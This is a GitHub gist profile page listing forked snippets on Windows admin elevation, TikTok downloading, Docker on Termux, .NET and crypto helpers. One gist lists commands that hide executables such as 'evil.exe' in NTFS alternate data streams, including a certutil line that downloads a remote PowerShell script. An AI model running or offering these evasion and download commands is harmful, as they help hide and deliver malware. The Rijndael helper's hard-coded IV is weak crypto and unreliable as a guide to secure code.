Skip to content

Instantly share code, notes, and snippets.

View tinyx3k's full-sized avatar
💭
I may be slow to respond.

TiNyX3k tinyx3k

💭
I may be slow to respond.
View GitHub Profile
@tinyx3k
tinyx3k / RunAsAdmin.py
Created April 20, 2024 16:24 — forked from Devligue/RunAsAdmin.py
Collection of Python code snippets usefull to deal with admin privilages on Windows
#!python
# coding: utf-8
# by GaryLee
# https://gist.github.com/GaryLee/d1cf2089c3a515691919
import sys
import ctypes
def run_as_admin(argv=None, debug=False):
@tinyx3k
tinyx3k / Exe_ADS_Methods.md
Created April 16, 2024 13:25 — forked from api0cradle/Exe_ADS_Methods.md
Execute from Alternate Streams

Add content to ADS

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

@tinyx3k
tinyx3k / Download Tiktok Videos.md
Created January 2, 2024 14:24 — forked from monokaijs/Download Tiktok Videos.md
Download Video Tiktok

Hướng dẫn

Vào một trang video Tiktok bất kỳ, copy đoạn code phía dưới, quay lại trang xem video Tiktok rồi nhấn Ctrl + Shift + I (hoặc Command + Shift + I trên Macbook). Sau đó qua tab console, paste đoạn code vào rồi nhấn Enter, chờ tí tẹo Video sẽ bắt đầu tải.

(function () {
  const videoEl = document.querySelector('video');
  function downloadVideo(url) {
    fetch(url).then(response => {
      if (!response.ok) throw new Error(`HTTP error! Status: ${response.status}`);
      return response.blob();
@tinyx3k
tinyx3k / answerfile
Created December 1, 2023 16:55 — forked from oofnikj/answerfile
Install Docker on Termux
KEYMAPOPTS="us us"
HOSTNAMEOPTS="-n alpine"
INTERFACESOPTS="auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp
hostname alpine
"
TIMEZONEOPTS="-z UTC"
@tinyx3k
tinyx3k / TinySharp.cs
Created November 30, 2023 15:35 — forked from Washi1337/TinySharp.cs
A program to emit a tiny .NET binary program printing Hello World to the standard output. Blog post: https://blog.washi.dev/posts/tinysharp/
using System.Text;
using AsmResolver;
using AsmResolver.DotNet;
using AsmResolver.DotNet.Builder.Metadata.Blob;
using AsmResolver.DotNet.Builder.Metadata.Strings;
using AsmResolver.DotNet.Code.Cil;
using AsmResolver.DotNet.Signatures;
using AsmResolver.IO;
using AsmResolver.PE;
using AsmResolver.PE.DotNet.Builder;
@tinyx3k
tinyx3k / encrypt.cs
Created July 27, 2023 11:50 — forked from huoshan12345/encrypt.cs
Instagram enc_password generator in C#
// Packages need to be installed:
// Sodium.Core
// System.Security.Cryptography.Algorithms
// The values of publicKey,keyId,version are from shared_data.
// You need to call https://www.instagram.com/data/shared_data/ to get shared_data first
public static string GenerateEncPassword(string password, string publicKey, string keyId, string version)
{
var time = DateTime.UtcNow.ToTimestamp(); // Unix timestamp
var keyBytes = publicKey.HexToBytes(); // Convert a hex string to a byte array
import pandas as pd
import numpy as np
def get_dataset(size):
# Create Fake Dataset
df = pd.DataFrame()
df['size'] = np.random.choice(['big','medium','small'], size)
df['age'] = np.random.randint(1, 50, size)
df['team'] = np.random.choice(['red','blue','yellow','green'], size)
df['win'] = np.random.choice(['yes','no'], size)
@tinyx3k
tinyx3k / youtube.user.js
Created June 14, 2023 07:03 — forked from J2TEAM/youtube.user.js
Tự động đóng tab Youtube khi hết video. Sử dụng bằng cách cài Tampermonkey nhé.
// ==UserScript==
// @name YouTube Auto Close
// @namespace http://j2team.dev/
// @version 0.1
// @description Automatically closes YouTube videos after playback.
// @author JUNO_OKYO
// @match https://www.youtube.com/watch*
// @icon https://www.google.com/s2/favicons?sz=64&domain=youtube.com
// @grant window.close
// ==/UserScript==
@tinyx3k
tinyx3k / tellmeyoursecrets.js
Created June 9, 2023 02:40 — forked from woodwardtw/tellmeyoursecrets.js
google script that lists a lot of info about the files in a particular folder/sub folder structure including viewers, editors, and sharing permissions
function listFolders(folder) {
var sheet = SpreadsheetApp.getActiveSheet();
sheet.appendRow(["Name", "Sharing Access", "Sharing Permission", "Get Editors", "Get Viewers", "Date", "Size", "URL", "Download", "Description", "Type"]); //writes the headers
var folder = DriveApp.getFolderById("YOUR_FOLDER_ID");//that long chunk of random numbers/letters in the URL when you navigate to the folder
var files = folder.getFiles();//initial loop on loose files w/in the folder
var cnt = 0;
var file;
@tinyx3k
tinyx3k / Encrypt.cs
Created June 7, 2023 14:10 — forked from pedroinfo/Encrypt.cs
Encrypt/Decrypt of strings using Rijndael
/// <summary>
/// Credits / Source: http://tekeye.biz/2015/encrypt-decrypt-c-sharp-string
/// </summary>
public static class Encrypt
{
// This size of the IV (in bytes) must = (keysize / 8). Default keysize is 256, so the IV must be
// 32 bytes long. Using a 16 character string here gives us 32 bytes when converted to a byte array.
private const string initVector = "pemgail9uzpgzl88";